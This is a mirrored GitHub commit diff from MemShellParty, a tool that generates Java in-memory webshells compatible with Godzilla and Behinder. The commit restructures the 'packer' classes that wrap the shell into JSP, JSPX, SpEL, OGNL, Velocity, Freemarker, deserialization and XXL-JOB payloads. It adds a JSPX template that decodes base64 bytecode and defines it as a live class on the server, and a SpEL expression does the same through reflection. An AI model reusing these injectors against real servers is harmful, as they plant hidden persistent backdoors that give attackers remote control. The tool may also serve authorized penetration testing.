mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support multi payload generate
This commit is contained in:
@@ -93,24 +93,29 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
||||
|
||||
### 内存马功能
|
||||
|
||||
- [x] 哥斯拉
|
||||
- [x] 冰蝎
|
||||
- [x] Godzilla 哥斯拉
|
||||
- [x] Behinder 冰蝎
|
||||
- [x] 命令执行
|
||||
- [ ] AntSword 蚁剑
|
||||
- [ ] Suo5
|
||||
- [ ] Neo-reGeorg
|
||||
- [ ] Custom
|
||||
|
||||
### 封装方式
|
||||
|
||||
- [x] JSP
|
||||
- [x] BCEL
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] 脚本引擎
|
||||
- [x] EL、SpEL、OGNL
|
||||
- [x] Velocity、Freemarker
|
||||
- [x] 原生反序列化(CB4)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [ ] JNDI
|
||||
- [ ] Agent
|
||||
- [ ] JDBC 连接
|
||||
- [ ] 其他常见反序列化
|
||||
|
||||
|
||||
@@ -10,10 +10,7 @@ import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
@@ -33,7 +30,7 @@ public class ConfigController {
|
||||
continue;
|
||||
}
|
||||
ShellTool[] supportedShellTools = ShellTool.values();
|
||||
Map<String, List<String>> map = new HashMap<>(16);
|
||||
Map<String, List<String>> map = new LinkedHashMap<>(16);
|
||||
for (ShellTool shellTool : supportedShellTools) {
|
||||
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||
if (supportedShellTypes.isEmpty()) {
|
||||
@@ -51,7 +48,11 @@ public class ConfigController {
|
||||
.collect(Collectors.toList())
|
||||
);
|
||||
config.setCore(coreMap);
|
||||
config.setPackers(Arrays.stream(Packers.values()).map(Packers::name).toList());
|
||||
config.setPackers(
|
||||
Arrays.stream(Packers.values())
|
||||
.filter(packers -> packers.getParentPacker() == null)
|
||||
.map(Packers::name).toList()
|
||||
);
|
||||
return ResponseEntity.ok(config);
|
||||
}
|
||||
}
|
||||
@@ -7,7 +7,9 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.packer.JarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
@@ -27,12 +29,13 @@ public class GeneratorController {
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
String packResult = null;
|
||||
if (request.getPacker().getInstance() instanceof JarPacker) {
|
||||
packResult = Base64.getEncoder().encodeToString(request.getPacker().getInstance().packBytes(generateResult));
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
||||
} else {
|
||||
packResult = request.getPacker().getInstance().pack(generateResult);
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
||||
}
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
|
||||
}
|
||||
}
|
||||
@@ -1,16 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@AllArgsConstructor
|
||||
@NoArgsConstructor
|
||||
public class GenerateResponse {
|
||||
private GenerateResult generateResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||
this.generateResult = generateResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.generateResult = generateResult;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public interface AggregatePacker extends Packer {
|
||||
|
||||
/**
|
||||
* 聚合打包当前所有分类下的 payload
|
||||
*
|
||||
* @param generateResult 生成结果
|
||||
* @return key -> 打包名称, value -> 打包 payload
|
||||
*/
|
||||
default Map<String, String> packAll(GenerateResult generateResult) {
|
||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||
Enum::name,
|
||||
packers -> packers.getInstance().pack(generateResult),
|
||||
(existing, replacement) -> existing,
|
||||
LinkedHashMap::new
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* 将第一个 sub packer 作为默认输出
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return payload
|
||||
*/
|
||||
@Override
|
||||
default String pack(GenerateResult generateResult) {
|
||||
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
|
||||
if (packersWithParent.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return packersWithParent.get(0).getInstance().pack(generateResult);
|
||||
}
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public interface JarPacker extends Packer {
|
||||
}
|
||||
@@ -20,13 +20,4 @@ public interface Packer {
|
||||
default String pack(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||
}
|
||||
|
||||
/**
|
||||
* 将生成的内存马打包成 bytes
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 字节数组
|
||||
*/
|
||||
default byte[] packBytes(GenerateResult generateResult) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,29 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
|
||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
@@ -12,13 +34,10 @@ public enum Packers {
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||
|
||||
/**
|
||||
* GzipBase64
|
||||
*/
|
||||
GzipBase64(new GzipBase64()),
|
||||
|
||||
Jar(new SimpleJarPacker()),
|
||||
Jar(new DefaultJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
@@ -29,6 +48,8 @@ public enum Packers {
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
@@ -47,7 +68,10 @@ public enum Packers {
|
||||
|
||||
OGNL(new OGNLPacker()),
|
||||
|
||||
SpEL(new SpELSpringIOUtilsGzipPacker()),
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
|
||||
@@ -58,12 +82,22 @@ public enum Packers {
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
Packers(Packer instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
Packer getPacker(Packers packerType) {
|
||||
Packers(Packer instance, Class<?> parentPacker) {
|
||||
this.instance = instance;
|
||||
this.parentPacker = parentPacker;
|
||||
}
|
||||
|
||||
public static Packer getPacker(Packers packerType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJob230Packer implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJob230Packer() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("jobId", 1);
|
||||
jsonObject.put("executorHandler", "demoJobHandler");
|
||||
jsonObject.put("executorParams", "demoJobHandler");
|
||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||
jsonObject.put("executorTimeout", 0);
|
||||
jsonObject.put("logId", 1);
|
||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||
jsonObject.put("glueSource", source);
|
||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||
jsonObject.put("broadcastIndex", 0);
|
||||
jsonObject.put("broadcastTotal", 0);
|
||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class Base64Packer implements AggregatePacker {
|
||||
}
|
||||
+3
-2
@@ -1,13 +1,14 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class Base64Packer implements Packer {
|
||||
public class DefaultBase64Packer implements Packer {
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||
+3
-2
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
@@ -9,7 +10,7 @@ import org.apache.commons.codec.binary.Base64;
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
public class GzipBase64 implements Packer {
|
||||
public class GzipBase64Packer implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
+2
-1
@@ -1,9 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.deserialize;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
+3
-1
@@ -1,6 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.el;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
+3
-1
@@ -1,6 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -12,7 +12,7 @@ import java.util.jar.Manifest;
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
public class SimpleJarPacker implements JarPacker {
|
||||
public class DefaultJarPacker implements JarPacker {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public interface JarPacker extends Packer {
|
||||
/**
|
||||
* 将生成的内存马打包成 bytes
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 字节数组
|
||||
*/
|
||||
byte[] packBytes(GenerateResult generateResult);
|
||||
}
|
||||
+4
-4
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
@@ -11,11 +12,11 @@ import java.util.Objects;
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspPacker implements Packer {
|
||||
public class DefalutJspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public JspPacker() {
|
||||
public DefalutJspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
@@ -23,7 +24,6 @@ public class JspPacker implements Packer {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspxPacker implements Packer {
|
||||
|
||||
String jspxTemplate = null;
|
||||
|
||||
public JspxPacker() {
|
||||
try {
|
||||
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
+3
-1
@@ -1,6 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
+2
-1
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.scriptengine;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public class SpELPacker implements AggregatePacker {
|
||||
}
|
||||
+4
-3
@@ -1,18 +1,19 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELScriptEnginePacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
+2
-1
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
+3
-2
@@ -1,12 +1,13 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringUtilPacker implements Packer {
|
||||
public class SpELSpringUtilsPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
+3
-1
@@ -1,6 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell.packer.velocity;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
@@ -42,7 +42,6 @@
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] bytecode = decodeBase64(base64Str);
|
||||
// 不弄反射啦,以免高版本这儿报 module 限制
|
||||
Class<?> clazz = defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
|
||||
<jsp:directive.page contentType="text/html"/>
|
||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||
<jsp:declaration><![CDATA[
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public byte[] decodeBase64(String bytecodeBase64) {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
||||
} catch (Exception ee) {
|
||||
try {
|
||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String className = "{{className}}";
|
||||
String base64Str = "{{base64Str}}";
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] bytecode = decodeBase64(base64Str);
|
||||
Class<?> clazz = defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return className;
|
||||
}
|
||||
}
|
||||
]]></jsp:declaration>
|
||||
<jsp:scriptlet><![CDATA[
|
||||
new ClassDefiner().toString();
|
||||
]]></jsp:scriptlet>
|
||||
</jsp:root>
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
@@ -19,7 +20,7 @@ class GzipBase64Test {
|
||||
void compress() {
|
||||
GenerateResult generateResult = new GenerateResult();
|
||||
generateResult.setInjectorBytes("hello world".getBytes());
|
||||
String pack = new GzipBase64().pack(generateResult);
|
||||
String pack = new GzipBase64Packer().pack(generateResult);
|
||||
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
+1
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.alibaba.fastjson2.JSON;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
class SpELPackerTest {
|
||||
|
||||
@Test
|
||||
void pack() {
|
||||
GenerateResult generateResult = GenerateResult.builder()
|
||||
.injectorClassName("name")
|
||||
.injectorBytes("name".getBytes()).build();
|
||||
AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance();
|
||||
Map<String, String> stringStringMap = spELPacker.packAll(generateResult);
|
||||
